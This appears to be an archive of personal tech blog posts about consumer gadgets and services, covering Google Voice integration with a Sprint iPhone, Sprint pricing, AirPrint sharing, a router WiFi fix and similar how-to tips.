All I can say is thank goodness, finally… Google has announced phone-based support for its Google Apps for Business customers. Not that I need to ask for help too often (although I’ve wanted to a couple times, and the email assistance was quick enough to be useful one time), but when I do need help – I really *need* help. So, having a place to call, and a person to talk to until an issue is resolved is a good thing to have. If you’re paying for a service, you expect some form of support specific to your problem and your use of the service. So, great to see that Google is offering phone support now for people who pay for Google Apps.

One former colleague of mine pointed out that this is a good thing “only if it’s good support.” To which I responded, “One thing at a time. No option for good support until there's someone to get it from. Baby steps. Although I'm sure it's "in beta" hahah.” I mean hey, this *is* Google!

Information about accessing Google Support can be found on the Enterprise Support page. The new phone support options offered are:

Business and Education editions, 7 days a week, 24 hours a day

• U.S. Technical Support: 1-877-355-5787
• International Technical Support: 1-404-978-9282
• For local international phone numbers, please visit the Support tab in your control panel.

Tip: Help us provide you with faster answers by creating a case before you call, and have your Customer PIN and case number handy.

What if I told you that you could now have Google voice working with an iPhone’s native phone and messaging apps -- much like you can with Android -- and that you don’t have to jailbreak or install the Google Voice iOS app to do it? Yep. Read on!

Last week I ordered an iPhone 4S from Sprint. That’s my carrier since I left AT&T well over a year ago, and I’ve been a Android user on Sprint since I made the move. But before that I was an avid iPhone owner, happy with the phone and reluctant to drop it. But AT&T woes finally forced my move. Now, for the record I like Android. One of the great benefits of an Android phone for me over the past year has been the fact that the Google Voice service can be built right in, native to the phone. For those not familiar, Google Voice (lots of info is available here) is a service that gives you “one phone number for life.” You give that one phone number to people, and that numbers is used to ring all your phones – cell phones, home phones, work phones, whatever – in whatever manner and schedule you choose. If you switch providers and get a new cell number or home or work number, no worries. Just update your Google Voice account with your new or additional numbers, and you main GV number that you give out to everyone will ring the new ones, presto zappo bango. Google Voice also provides text messaging services and voice mail, accessible on a mobile phone via mobile web or a smartphone apps, as well as through a web browser on your laptop or desktop computer.

For quite some time an iPhone app has been available that one can install on the phone, which allows you to place calls, send text messages and get voicemail from your Google Voice account. But you have to do all of those things in the Google Voice app. So, it’s a little clunky – think of it as an extra, non-default phone dialer and text messaging app that sits alongside and kind of duplicates the purpose of your iPhone’s native dialing and messaging apps. In other words, to use Google Voice on the iPhone with the app, you have to use your iPhone differently.

But – thanks to Sprint and the fact that they now have the iPhone 4/4S in their inventory – we no longer need to use the Google Voice iPhone app and can get practically full functionality, using the apps that are native to the iPhone.

Problem? Solved!

Earlier this year, Sprint and Google announced they were joining forces (loosely) and providing the ability to integrate your Sprint wireless account with Google Voice in a manner that would allow you either to use your existing GV number as your mobile number, or alternatively to use your existing Sprint phone number as your Google Voice number. When you set the service up that way, Google Voice becomes your voice mail system and you get all the messaging and calling benefits of Google Voice, too. And, it works with all Sprint-branded mobile phones, not just Android – which is a real differentiator vs. the other wireless carriers.

The beauty of it all: You can set up Google Voice integrated with your Sprint account to both send and receive phone calls and text messages from the native iPhone app interfaces, without the need to jailbreak your phone to install third party apps/hacks, and without the need to install the Google Voice iOS app. People you call or send a text message to will see your Google Voice number in caller ID or as the message sender. Voice mail access works a little differently, but we’ll cover that in a bit.

For discussion purposes to try simplify things, I’m going to refer to this integrated-Google-Voice-Sprint-Account customer experience as “Sprint Integration” for the remainder of this post.

It’s also probably worth pointing out that there are a couple of practical limitations (which are in no way related to the iPhone) that some people run into when setting up their Sprint Integration.

• First of all, if you have a Sprint calling plan that is business-liable (as opposed to a personal phone account), the integration is not supported or enabled. Some individual Sprint customers own their own phones and pay their own bills, but because they got an employer’s corporate discount or similar situation their account is actually flagged as a business account. That should be pretty simple to fix in most cases with a call to Sprint customer service. But just know that actual business accounts are not eligible.
• In addition, if you’ve set up phone call or SMS blocking or filtering through Sprint, you won’t be able to integrate your line with Google Voice until you disable those features in your Sprint account -- but note that Google Voice can usually enable you to do effectively the same thing.

So, how do I make this work?

It’s actually pretty simple. I won’t go into every single detail here, but I will cover the basics. I’m going to assume you can set up a Google Voice account, and if you need more information use the links above to learn everything you need to know.

Okay. First of all, there are a few things you need to make this work:

1. An iPhone 4 or 4S provided by Sprint (no, this process can’t and won’t work with an AT&T or Verizon iPhone).
2. A Sprint plan that is not a corporate/business plan. Family plans are fine, as long as they are not a business-liable plan.
3. No call or text blocking/filtering configured in your Sprint account.
4. A Google Voice account (they’re free) that has a phone number already assigned (in other words, not just the GMail-based “Google Voice Lite” thing – upgrade if necessary).
5. About 15 to 30 minutes of free time.

To start, once you have logged into your Google Voice account, you’ll need to go to the Settings menu (by clicking the gear icon on the GV screen, over in the upper right area). Then navigate to the “Phones” section of the Google Voice settings. Here you’ll see any forwarding phones you’ve already set up in Google Voice.

A side note: If you already have another Sprint phone line set up in Google Voice with Sprint integration enabled, you cannot set up a second Sprint-integrated line on the same GV account. That’s not really documented anywhere, so I found this out the hard way since my Android phone was already fully integrated before I got my iPhone. So, when I added the iPhone to my Google Voice account I wasn’t even given the option to enable the Sprint integration. What this means is that if you already have one Sprint phone integrated, you’ll either need to disable the Sprint integration on that line or use a different Google Voice account to set up your new Sprint number on. I had troubles deactivating the Sprint integration on my Android phone, so had to search down help from both Sprint and Google so it could be manually deprovisioned. Hopefully you won’t run into that problem - but let me know if you do and I will try to point you in the right direction…

If the Sprint number you want to integrate has not already been added to your configured phones in Google Voice, you’ll need to do that now: At the bottom of the list of configured calling devices (phones, GMail chat, etc.) is a link you can click to “Add another phone.” Follow the simple instructions, enter the codes it promts you to use, and in a minute or three you’ll have your Sprint mobile phone number set up and working in Google Voice is basic mode. You’re not completely done yet, but you’re close. For now, make a call from another phone to your Google Voice number and validate that your newly-added phone rings, just to verify everything is working properly. Remember: Test often, and at each step. It’s a good habit to get into when it comes to “mashing up” multiple computer/technology systems.

Next, take a look at the entry for your iPhone in the GV Phones list (in Settings). You should find a Sprint logo on the screen, next to the nickname you gave your iPhone phone, as well as a link that says “Check eligibility for Sprint integration.” Click on that link.

You’ll need to choose between the two available options: Do you 1) want your Sprint mobile number to become your new Google Voice number, or do you 2) want to replace your Sprint mobile number with your GV number? If everyone has and knows your Sprint phone number, then you can choose option one, so you don’t have to distribute a new phone number to everyone. But, if you’ve already given your Google Voice number out to people who need to reach you, you’ll choose option two like I did. The net effect of that choice in the end will be that when you place calls and send messages from your Sprint phone, the recipient of the call or text message will see your Google Voice number in Caller ID and on the text message. And that’s really the point.

So -- Make the choice appropriate for your situation, then wait patiently for several seconds while the Google Voice communicates in the background with Sprint. Before you know it both companies’ systems will be provisioned to handle your calls all mash-up-cyborg-app style. If successful, you will see a message that tells you:

Your Sprint number, (000) 000-0000 is now integrated with Google Voice.
Calls and text sent from this phone will display your Google Voice number.
Your Sprint voicemail has been replaced with Google voicemail.
International calls from this phone will be placed through Google Voice.

Now you’ll probably want to set up a voice mail greeting in Google Voice if you don’t already have one (or just use the generic default if you prefer (yuck)).

Testing, testing…

Your next step should be to place a phone call to a number that’s not attached to a Google Voice account (like a friend’s cell phone) and verify that the caller ID shows the correct number.

Next, make sure “Receive text messages on this phone” is checked in the Google Voice setting for your line, and then send a text message to a non-GV phone to make sure it’s sent using the correct number.

Note: It’s actually important to use non-Google-Voice phones for these test calls and text messages, since GV can recognize when one GV enabled phone is communicating with another GV number, and will sometimes try to be “helpful” and modify the normal process of displaying Caller ID data.

Success!

If the proper phone number is displayed on calls and text messages sent from the iPhone native Phone and Messages apps, and if your iPhone rings when someone calls your Google Voice number, you’re all set!

What about voice mail?

The only thing that won’t work natively in the iPhone apps in this configuration is visual voice mail. Since the iPhone’s visual voice mail app doesn’t recognize Google Voice from the voice message perspective, you have a couple choices here:

1. Configure Google Voice in your browser to email you link to any voice mails (on the Voicemail & Text tab in Settings), and/or
2. Check the box in the list for your integrated phone (on the Phones tab in Settings) to enable Google Voice send you a text message when a new voice mail is received

Compatibility, continued…

This integration works – as I started to explain earlier – with any “Sprint branded” phone. That doesn’t mean phones that have a Sprint logo painted on them, but rather refers to phones provided under contract by Sprint that operate on the Sprint CDMA network (not Nextel, nor the other carriers that piggyback on Sprint’s network). And, just to be clear one last time, Sprint is the only current service option for native integration of Google voice on an iPhone as described here. So, if you have AT&T or Verizon, sorry pal… No native app integration for you, at least not yet. You’ll just have to use the Google Voice iOS app, which you can download free from the Apple App Store.

And honestly -- If you’re thinking about getting an iPhone 4 or 4S and are leaning toward Verizon or AT&T – stop and consider this:

• Sprint’s mobile service costs less than both Verizon’s and AT&T’s
• Sprint’s plan actually allows unlimited data usage, while Verizon’s is capped – as is AT&T’s
• When Sprint customers roam, it’s free of charge – and it’s on Verizon’s network (!)
• Dropped calls? Not in my experience, which is a far cry from what I dealt with on AT&T…
• Did I mention Sprint’s service costs less?

So – lower cost, you get to use the other guy’s network for free when needed, and no data caps. Sure, download speeds *might* be marginally slower here and there (and even that’s a debatable point), but there’s one more benefit you should know about: Sprint lets you sign up, get the phone and service, and try it our for 14 days. If you don’t like it, cancel your service and return the phone in good and complete condition where you bought it, and you’ll walk away with a refund for the price of the device and any early termination fee you paid. You will pay for the service you used and probably for the activation fee as well (unless you cancel service within the first 3 days), but nothing more.

If I sound like a Sprint commercial, trust me - I’m not. I’m just a customer that likes my wireless provider – and for what it’s worth, I’m a pretty darn picky customer.

Got questions about the Sprint iPhone integration with Google Voice? Post them in the comments and where it makes sense, I’ll update this post with details I may have missed. And be sure to share your iPhone integration success stories as well!

Siri is coming to the iPhone 4S on Friday, and already people are starting to discover the Apple virtual assistant has a but of a sense of humor.

To chronicle and record for humorous posterity all the unusual, funny, shocking or otherwise interesting crap Siri comes up with, I have created Darn Your Siri - http://www.darnyousiri.com - where anyone can post their funny Siri screenshots there, too - just go to the submission page. That name seemed a little less inappropriate than something like "shit Siri says" but I see that's also a site someone fired up. Of course they did! :)

To take a screen grab of any iPhone screen, hold down the home/round button while at the same time clicking teh power/sleep/wake button on top. The resulting screen grab JPG file is saved in your photo gallery on the iPhone.

I'll be seeing what all Siri has to say soon, when my phone arrives from Sprint on Friday.

Google has released a Chrome Browser add-on called Chrome Remote Desktop Beta that allows two computers running Chrome to be connected to so person can control the other person's computer. For those of us who occasionally need to connect from, say, your place in Portland Oregon to a computer in Boulder Colorado to troubleshoot a certain family member's computer issues, this is a simple and workable method. Of course, many of the tech-support requests are actually efforts to get you to visit your mom, so keep that in mind. But I still think you might find this new capability helpful. It allows any computer running Chrome - regardless of the operating system - to connect to any other computer running Chrome. So your Windows computer can control a Mac or Linux machine or vice-versa.

You can set it up and get started in just a few minutes. First, you need to have the Chrome browser on both ends of the connection, your computer and the one you want to connect to. Next, download and install the Google-created extension. One you complete that step, you'll find a Chrome Remote Desktop Beta icon in your browser window. When you run it the first time, it will propt you to grant some extra permissions, which are required for it to work.

The next step is to share your computer, or alternatively to connect to another shared computer. Both options are available to the user. If you choose to connect to a shared remote computer, you'll be prompted to enter a numeric code that is generated when the person on the other end of the line starts the sharing process. The "sharer" just provides the one-time code generated by the app to the person who needs to remotely connect. Access codes are good for just that one session, which helps ensure security.

This is the initial release. Google's description of the browser app:

Chrome Remote Desktop BETA is the first installment on a capability allowing users to remotely access another computer through the Chrome browser or a Chromebook.

 

The goal of this beta release is to demonstrate the core Chrome Remoting technology and get feedback from users. This version enables users to share with or get access to another computer by providing a one-time authentication code. Access is given only to the specific person the user identifies for one time only, and the sharing session is fully secured. One potential use of this version is the remote IT helpdesk case. The helpdesk can use the Chrome Remote Desktop BETA to help another user, while conversely a user can receive help by setting up a sharing session without leaving their desk. Additional use cases such as being able to access your own computer remotely are coming soon.

 

Chrome Remote Desktop BETA is fully cross-platform, so you can connect any two computers that have a Chrome browser, including Windows, Linux, Mac and Chromebooks.

Can I cancel my current Sprint account/plan and get a new iPhone 4S?

There's this new iPhone coming out - the iPhone 4S. Maybe you heard about it? Pretty nice device, really. I had iPhones exclusively for a few years from the time Apple came out with them - the original model and then the 3G. I never took the 3GS leap.

But a year and a half ago I fired AT&T out of frustration over continued poor service and moved over to Sprint. That meant I had to give up my iPhone, since AT&T was still the exclusive iPhone carrier. It also meant I never picked up an iPhone 4 model, other than the few times I made a call from a friend's phone. Instead I moved to an Android device, the Evo 4G (which I like, by the way).

Now, let me say up front that I'm not sure if I really want to make a change back to the iPhone right now. The Android phone actually works pretty well for me, as far as the OS and phone itself are concerned. Frankly, I rarely use the 4G capability of the Evo, mostly because of the limited and often spotty 4G WiMax service. But when it works, it works pretty well. Since I made the move away from AT&T a year and a half ago, Verizon - and starting next week Sprint - have added the iPhone to their lineups. I miss some of the capabilities and features I used to get with the iPhone, especially when it comes to app integration between the Macbook, iPad and the iPhone for my aviation-related apps, which get a lot of use between the iPad and Mac these days.

So, I decided to check and see what I'd have to shell out, should I decide I wanted to move to a new iPhone 4S on my Sprint account. The problem I foresaw was that I'm about six months away from the end of my current two-year contract. So, when logging into sprint.com the system told me I'd have to pay full price to order a new iPhone 4s today. Of course, it also informed me I could wait 176 days for upgrade eligibility, and then get $150 off the full price. The rather alarming full prices are:

• 16GB iPhone 4S   $649.99
• 32GB iPhone 4S   $749.99
• 64GB iphone 4S   $849.99
• 8GB iPhone 4 original   $549.99

Ouch.

So, I can pay full price now or $499 for a 16GB model in 6 months (more for the larger models). I would guess (but am not certain) that at that time I might be able to also sign a new 2-year contract with Sprint and get an additional $200 off, which would theoretically put me at $299 for the 16GB model with a fresh two-year Sprint contract lock-up. Or is the $150-off-list- price deal dependent on a 2-year deal as well? I will have to ask about that. Either way, I'm at least $100 more than the prices announced the other day (which require a contract)

Next I checked with Verizon, thinking maybe I could just cancel my Sprint service and go over there right away to get the subsidized price with a new two-year contract and not have to wait. Their prices were much more reasonable - and less than I'd pay at Sprint even if I waited for six more months and took the deal I already mentioned. Verizon's new account prices are: $99.00 for the original iPhone 4 and $199/$299$/399 for the new 4S models (also the same prices Sprint offer's it's new customers)

I don't really want to cancel my Sprint service: I get (truly) unlimited data and messaging on Sprint - and you don't get that on the other carriers (there tends to be a 2GB limit). I have a family plan, which allows me to share minutes between two lines, free evenings and weekend, free calls to any mobile phone, and more. Plus their service has been great for me, and when I roam it's free and it's on Verizon's network. I basically get the best of both worlds network-wise. Oh, and the monthly price is right, too. I like Sprint.

Out of curiosity, I logged back into my sprint.com account for another look, and decided to see what it would cost to add an additional line to my existing Sprint family plan and get a new iPhone that way. Maybe that would be cheaper? Ahh, what do you know - The site showed I could do just that and get the same two-year-commitment pricing as Verizon offered. Now we were getting somewhere!

But I don't need or want two phones or two numbers. So finally I called Sprint and asked the helpful support rep what would happen if I *added* a new number and additional line of service to my existing family plan account (a third line costs $19.99 a month if I add it and share the pool of minutes I'm already paying for). My real question was this: Could I then immediately cancel my original number/phone/service from the family plan?

"Sure you can do that," he said. I'ld have to pay a $90 early termination fee balance for the existing line (it's prorated from the original $200 fee (which Sprint recently increased to $350)), and they'd move my existing Sprint number to the new iPhone, too if I wanted. The Sprint rep even put me on hold and took the time to verify with management that was okay to do. Oh, and if I want they'll purchase the used Evo 4G through their buy-back program and credit me $87 for it - which would pretty much negate the $90 early termination fee. Alternatively I could sell the Evo 4G to someone else if I wanted. Either way, it's not a bad deal. And the $19.99 a month fee for the third line would go away as soon as I cancelled the original line, too.

So, based on what the Sprint rep told me it's doable - and fairly reasonable. They recover their costs through the balance of the early termination fee, and get a subscriber locked in for an additional two years (and the early-termination fee for the new phone would be $350.00). If I want, I can get an iPhone 4S without having to pay $650-$850 for the privilege. Sometimes all you have to do is ask the right questions.

Not sure yet if I'll actually decide to get an iPhone 4S. I'd have to think carefully about what I'd lose in the process, app-wise. One big red flag is that I use Google Voice exclusively for calling and text messages, and it's all Frankenstein-style-built-in on Android natively via the Google Voice app. Not so much on iPhone. Update: I picked up a Sprint iPhone and was able to pretty much fully integrate Google Voice without having to use the Google Voice app, full information here.

So that's one important trade-off to consider, along with the change Sprint made on September 9th: They now charge a $350 termination fee (the same as Verizon and AT&T) that's pro-rated depending on the number of months left on a subscriber's contract. But regardless, it's good to know that if one wants to make the move, it appears there's a reasonable way to do it.

I've been chasing my tail lately with an older MacBook Air laptop that simply would not reliably connect to the WiFi router provided to me by my ISP, Qwest. The ZyXEL PK5000Z router is a combo DSL modem and wireless router.

The strangest part of the issue was that while non-Apple hardware would connect to the router just fine, all of my Apple devices had issues, varying in nature. The iPad would connect but the connection was flaky at best and sometimes would just hang. My MacBook Air would rarely connect to the WiFi network, and when it did connect it would almost always not be able to get any network traffic to pass. When traffic did start to move on rare occasion, it would burst and then quit. Every non-Apple device, from Windows machines to PlayStation to WiFi-enabled TV to smartphones, etc. worked fine. Just the Apple stuff failed. I was partially assuming the old MacBook Air was to blame - It's been dropped on its head a few times and has been through the ringer. It's pretty worn out.

Then today I got a brand-new model MacBook Air (more on that later perhaps). I expected it to work but when I got home, it was just more of the exact same issue. Ugh. Not good.

I tried a number of things to try to fix the problem. I turned off UPnP and set up a wireless network with no security or encryption, but the results were the same. So I called Qwest to see if someone there had any ideas. I have to admit that based on past experience, I didn't have high hopes. But, I spoke with a guy who asked me to change my router to force it to use channel 11 on the WiFi radio. I was quite surprised when - after changing the channel and forcing the router to use just that channel, the Apple computers and iPad starting working just fine.

So, if you happen to have issues getting your Apple computer, iPad or iPhone or other device to connect to the PK5000Z router, give WiFi Channel 11 a try. It might just work. The PK5000Z wireless radio setup page is probably located here, but if that link doesn't work just browser in your web browser to 192.168.0.1 and then click on Wireless Setup, and then in the left side menu click on Radio Setup. Next, the radio is set to Auto Detect for the channel default setting, Change that to Channel 11. Make sure the power setting is set to Full and scroll down to click the Apply button. That's it!

I’ve been a Google Voice (and before that GrandCentral) user for a few years now. It’s a terrific service that provides One Phone Number to Rule Them All, so to speak. You can associate multiple different phone accounts (land, mobile, satellite, whatever suits you) with one Google Voice number and can change them at any time. So, anyone can dial or send text messages to your Google Voice number, and you control which phones ring and when, and where your text messages go.

Today Google announced that they are offering a service for $20 that allows you to port your existing mobile phone number to Google Voice, which means you can start using GV without having to take on a whole new phone number. That’s a great thing when you want to avoid the hassles of getting people to start using a new number.

But there are a few things you should know before you make this move, so you can be sure it’s for you.

Google Voice supports most – but but not all – of the features you have on a typical mobile/smart-phone plan. Certainly you will be able to receive calls, get voice mail, and send/receive text messages (especially on Android with the awesome GV app).

There are, however, a few common mobile features that are not supported by Google Voice:

• Multi-media Messaging Service (MMS): If you like to send video, picture or audio messages to your friends and family, Google Voice can’t do this. I regularly have to tell people trying to send me their video or picture to send it to my email or my actual cell phone number provided by the carrier (which I don’t give out – that would defeat the whole purpose of Google Voice). So, if MMS and one number if critical for you, you should wait until GV gets around to supporting this.
• Calls to your Google Voice number are not counted as calls to a mobile number for the purpose of mobile carrier call plans. So mobile-to-mobile minutes won’t get accounted for in the same way.
• With a couple of exceptions, calls you make from phones attached to you Google Voice account will not show up on called ID as having come from your Google Voice number. The exceptions to this are when calls are initiated through the GV web app (in which case Google’s systems dial you up on your phone then connect you to the person you’re dialing) and a few of the GV mobile apps like the ones for Android and iPhone. The Android app actually builds itself into the Android OS’ dialing system and it’s truly seamless. On the iPhone you need to dial using the Google Voice app.
• For text messages to be sent to mobile phones and for them to appear as coming from your GV account phone number, they need to be sent through the GV service, too. This means using the Google Voice interface on Android OS (which you can set as your text messaging default, by the way), via the iPhone app, etc., or from the most useful Google Voice web app interface mentioned earlier. I use the web app all the time for text messaging from my computer browser. But it’s different, so you need to realize that.
• Text messages sent by applications and to/from short message codes (like Skype, your bank, etc.) don’t work.

That said, Google Voice is a terrific service that lets you have one phone number that can ring and deliver messages across several other phones. I use two Google Voice numbers – one I give out as my home phone and the other is for work calls. If I am working from my home office, both numbers cause my home phone to ring, but no one actually knows the number of my home phone – they just know the GV number that I gave them. If I move or far whatever reason change hone phone or work or cell phone numbers, I don’t have to worry about telling anyone. I just change the associated numbers in my Google Voice account. If I am on vacation somewhere across the country for a few days and want calls made to my home GV number - but only from my family members - to ring a phone number at my friend’s house, but only after 8am and before 11pm, and not during the next two hours because I want to get a nap… Google Voice can do that for me, too. It’s really quite powerful and easy to set up.

You can set schedules for different phones, and having a complete history of every call, voice mail and text message available in the browser app is really very nice. If any of the phone numbers associated with the different phones you have connected to your GV account and number should change in the future, there’s no need to tell the world. The people you know can just keep dialing your GV number, and in the background you can change that number that AT&T gave you back in the day when you got your first iPhone and point it at your new Verizon number. Hey, I’m just sayin’...

More information about porting numbers and Google Voice in general can be found at:

• Portability Announcement on the Google Voice blog
• Google Help Center – Number Porting FAQ
• Google Voice Getting Started Guide

Earlier today, I was working in my home office and using my iPad alongside my computer. I started a download to update some app data on the iPad, which was fully charged at the time, and went back to my computer to do work-related stuff.

A couple hours later I went back to the iPad and pressed the home button to try to wake it up, with no response. I tried the wake/sleep/power button, same lack of response. Thinking it might be a dead battery (but wondering how that could happen in such a short period of time) I plugged it into the charger and left it there. Normally that would result in some screen activity if the battery had died, but after a couple hours on the charger the iPad was still dead.

After several minutes of futzing around with the iPad on and off the charger, and pushing every button on the iPad, I remembered a button combination that's used to execute a power reset and boot the iPad into recovery mode.

So, I did that combo, holding the Power/Sleep and Home buttons down at the same time for around 15 seconds while the iPad was on the charger. Sure enough, the iPad restarted and fired right up normally. It had a partial charge (about what you'd expect for the amount of time it had been running on battery before it died) and WiFi was disconnected, but after reconnecting to my WiFi network things were all back to normal.

Hopefully this saves someone a trip to the Apple Store or a call to the fine folks at Apple Support.

Yesterday I wrote about how I enabled my MacBook Air to share a wireless laser printer in my home office so I could print to it using the new Air Print feature in iOS 4.2 on the iPad. That works great, but since my MacBook is only *almost* always on, I started thinking about other options. I have a first –generation (Power-PC-based) Mac Mini in my living room that basically doesn’t get used at all, but I don’t think OS x 10.6.5 is really an option for that. So, I turned my attention to the other always-on computer in my home office, the HP MediaSmart Home Server.

I wondered to myself, has anyone come up with a way to share printers accessible from a Windows computer with AirPrint-capable iOS devices? And, sure enough, someone has already done just that. The short tutorial covers Windows workstation versions (XP, Vista and Win7), but the instructions apply to Windows Home Server and other flavors of Windows Server, as well. My Win Home Server is based on the Server 2003 OS.

I’m going to add to a couple of the original steps here, since there are a few things I did that were not included in the instructions on the original post.

First of all, you need printer drivers installed for the printer you want to share on the system. You may not have printers already installed and shared on your Windows Home Server. To do this, you can make a Remote Desktop connection to your WHS  machine, and from there follow the standard steps to set up a local printer. In my case, I downloaded the Brother printer drivers and set up the network printer and printed a test page from the WHS machine to make sure it was working properly. Next, I followed the instructions on the port referenced earlier, and then I enabled sharing on the networked printer.

The first time I connected to the printer, a little padlock icon appeared on the iPad (see beow), indicating a Windows account user name and password were required to access the shared printer. This, of course, can be controlled and changed on the Windows computer in the printer sharing security preferences:

After entering the account information, the printer was accessible and printing of various content (text, graphics and photos) worked flawlessly. One big difference I noticed between sharing the same printer through Windows vs. the Mac is that when connected via the Windows AirPrint share, an option for double-sided printing appeared. That option is missing when connecting to the same printer shared via the Mac. Here’s the Windows-connected printer options as seen on the iPad:

So, I now have my laser printer shared across all devices on my LAN, including iOS 4.2, via the Windows Home Server, no extra charge!

Related Links:

• Enabling AirPrint support in OS X 10.6.5
• How to enable AirPrint service on Windows

UPDATE: Check out my new post that describes how to enable the AirPrint support for Windows shared printers, including on Windows Home Server.

I was pretty excited, based on reports in the community in the past about being able to print from my iPad in the new iOS 4.2.1 operating system via my Mac computer. My WiFi laser printer in my home office is a good printer, but it certainly is not Airprint enabled. So leveraging my MacBook (which is pretty much always up and running) was to be a good option for me.

But, alas, iOS 4.2.1 is here, and OS X 10.6.5 is installed and running on my MacBook (after some troublesome issues that finally got resolved)… But it looks like Apple removed the Airprint capability from the 10.6.5 release of OS X. It was in the beta versions, but not in the version they finally released.

Lifehacker has a brief article describing how to manually enable Airprint support in 10.6.5, so you can share your non-Airprint printers with your iOS 4.2 devices via your Mac.

In a nutshell, you just do this:

• Download a few files (which are pulled from the OS X beta)
• Copy them to a couple of specific locations (described in the linked site, above)
• Remove your printer from the system
• Restart your Mac
• and re-add your printer, and share it

Of course, this is not a supported configuration and undoubtedly there is some very real reason why it was not included in 10.6.5, so your mileage may vary should you decide to try it.

For those who may not want to break open the Terminal app in OS X, someone also built a quick Mac App called Airprint Hacktivator that you can run, which will allow you to automagically install the proper files and configure the OS.

Again, your mileage may vary. But I can tell you, it worked for me! I used the Hacktivator app and didn’t even have to restart my computer. I ran it, removed the old shared printer and re-added it, and instantly my iPad “saw” it and was able to print.

So, I’m now printing from my iPad, via my MacBook Air on the WLAN, to my office laser printer. Pretty slick, and a nice feature to have. No more emailing links and copy/paste content to one of my other computers in order to print things I find or need from the iPad.

UPDATE: There's apparently also an option out there to enable the Airprint support on Windows. I may have to take a look at that one and see if it will work on my Windows Home Server, which is quite literally *always* on, as opposed to my Macbook, which *almost* always on...

If you’re interested in what else is available in iOS 4.2 for the iPad, I suggest you check out the Lifehacker review and video.

Today marks the release of Office 2011 for the Mac, as described in the official release notice. And in a new feature twist, the software is also available for download to BizSpark (startup program) MSDN subscribers as of this morning. Typically Mac-based software has not been made available there, so this is a pretty cool change.

It’s available to people with membership at the following programs and levels:

• VS Pro with MSDN Premium (Empower)
• VS Premium with MSDN (MPN)
• VS Pro with MSDN Premium (MPN)
• BizSpark Admin
• BizSpark
• VS Ultimate with MSDN (VL)
• VS Premium with MSDN (VL)
• VS Premium with MSDN (Retail)
• VS Ultimate with MSDN (Retail)
• VS Ultimate with MSDN (MPN)

Of course, use is governed by your subscription license limitations and terms of use, so make sure you know what those are.

Why Office 2011 for the Mac?

There are a few reasons why you might be interested in Office 2011 on the Mac, but for me the number one reason is the brand new Outlook 2011. No more Entourage software, now we get the actual Outlook experience, which is enough for me to upgrade with no other changes in the suite. Add in all the other changes, and it’s a pretty slick new version.

Mac user? Are you going to get Office 2011?

I just got off the phone with Amazon, and they're sending an overnight box with a replacement Kindle 2 for the one I have. I hadn't used it for a few months, and when I recharged it and powered it up the other day, the screen had a whole section that was broken, displaying gray and garbled info.

So, with one quick call to customer support, a very brief set of troubleshooting questions they are sending a replacement. Great service, no wasted time and I'm one happy customer.

A friend's son is about to deploy with his company to Afghanistan, so my plan is to package up the new one when it arrives tomorrow and send it to them so he can take it with him when they go. I use the Kindle app on my iPad these days, so it will be cool to know that someone will be making good use of the one I'm not using.

Anyone else had Kindle display failures? Is this common at all?

I've recently run across a number of great resources while researching my Sprint EVO 4G phone, which runs the Android operating system and is quite tweakable.

One of the top resources I've found is called Good and EVO, a blog that answers in patient detail lots and lots of great questions. Anyone who has the device and doesn't know where to start but wants to learn about the phone and how to make it really work should read through all the articles on the site. It's very well-written and contains a wealth of information and links. Check it out at http://www.goodandevo.net/.

Another excellent - and more technical - resource is the xda-developers Android Development forum for the EVO 4G phone. Uber-geeks will rejoice in all the slang and tech jargon being slung around the walls of these rooms. Of particular interest for people getting started hacking on the EVO is "rooting" the device and installing customer ROMs (images of the operating system packages). Check out the EVO Helpful/Popular Threads topic for links to the basics, and check out the broader forum for lots and lots more. The forum can be found at http://forum.xda-developers.com/forumdisplay.php?f=653.

Other good resources to list?

Facebook is huge. It serves hundred of billions (literally) of pages a month, and 1.2 million photos every second. Wow. It's generally considered the world's largest web site. I'm waiting for an episode of Build it Bigger to air talking about Facebook, but I doubt they'll do it. Software scaling is hard to show in TV (but data center pictures are exciting to some, I suppose).

Operating software, databases and infrastructure at Facebook scale is a massive and complicated undertaking, and they actually do a lot of it on open-source software.

Pingdom takes a look at how Facebook does it, and describes some of the open-source technology the company leverages, in an interesting article called The Software Behind Facebook. It's worth reading.

The other day I decided I'd had enough pain in my relationship with AT&T and that I was going to make a move. I looked at my various options, and landed on Sprint and the EVO 4G Android-based smart phone. I've spent a few days with the new service and device, and I thought I would write up some early thoughts and opinions.

First of all, let's get this part out of the way: I already miss using the iPhone. Now, the Android phone is cool and there are a lot of good things to say about it. But the iPhone is what I'm used to, and from size to form to OS usability to - well - fit and finish, so to speak... The iPhone is great, and hard to leave.

Sprint's mobile service

As expected, Sprint's service is a little patchier in certain spots around the Portland area than AT&T, while in other areas Sprint provide substantially better coverage. Neither carrier truly blankets the entire area effectively. At my house, located in a fairly remote and rural area about an hour northwest of the city, service by both carriers is equally spotty.

But one thing about the Sprint service that stands out over AT&T's is the call delivery stability. Calls go through, the phone rings when someone is calling, and I have yet to experience a dropped call even once. Even in areas with one or two bars of signal strength showing on the phone I can reliably place and receive calls. Try that with an iPhone on AT&T (even in strong signal strength areas) and one is bound for overall abject failure disappointment.

The EVO 4G phone

The phone is pretty darned slick, and Android is a very cool operating system. It's a tough adjustment from the iPhone to this device in some ways. But overall, color me quite impressed. The display is nice, and even though it's a little larger than I might like it is good hardware with a quality fit and finish.

Battery life is somewhat frustrating, and Sprint even hands out a half sheet of paper when you buy the phone printed with recommendations on how to configure your phone to prevent battery drain. The usual suspects apply (turn off GPS and 4G when not in use, turn down screen brightness, etc.) but I think we all recognize that they wouldn't be handing out the sheet if battery consumption wasn't an issue for customers. That said, my experience so far is that battery life is fairly reasonable if you follow the recommendations. I just wish it wasn't necessary, and I'm hopeful someone builds something like a 3000 mAh battery that will fit in the same slot as the provided 1500 mAh battery. There's a little extra room inside that back compartment, so if it's practical to build a bigger battery to fit, hopefully someone will come through. I know I'd buy it.

There are some good apps out there, but not the same quality as I can find for the iPhone in the areas I care about the most. And I am having problems with some apps crashing and force-quitting that are more than just a little frustrating.

The ability to customize and run widgets, etc. on the phone's "desktop" screens is super cool, and the Google Voice app builds itself into the OS in such an elegant, Borg-like manner that it just makes sense for GV people. There are a couple glitches in the app, but hopefully those get improved upon over time.

In a nutshell...

I miss the iPhone a bit. The EVO is a great phone, don't get me wrong.

I don't miss AT&T at all, at least not yet. My calls on Sprint go through the first time and they don't drop. Data connectivity is reliable and performs well. I can't say that about AT&T.

Thinking out loud about the service issues on AT&T's network...

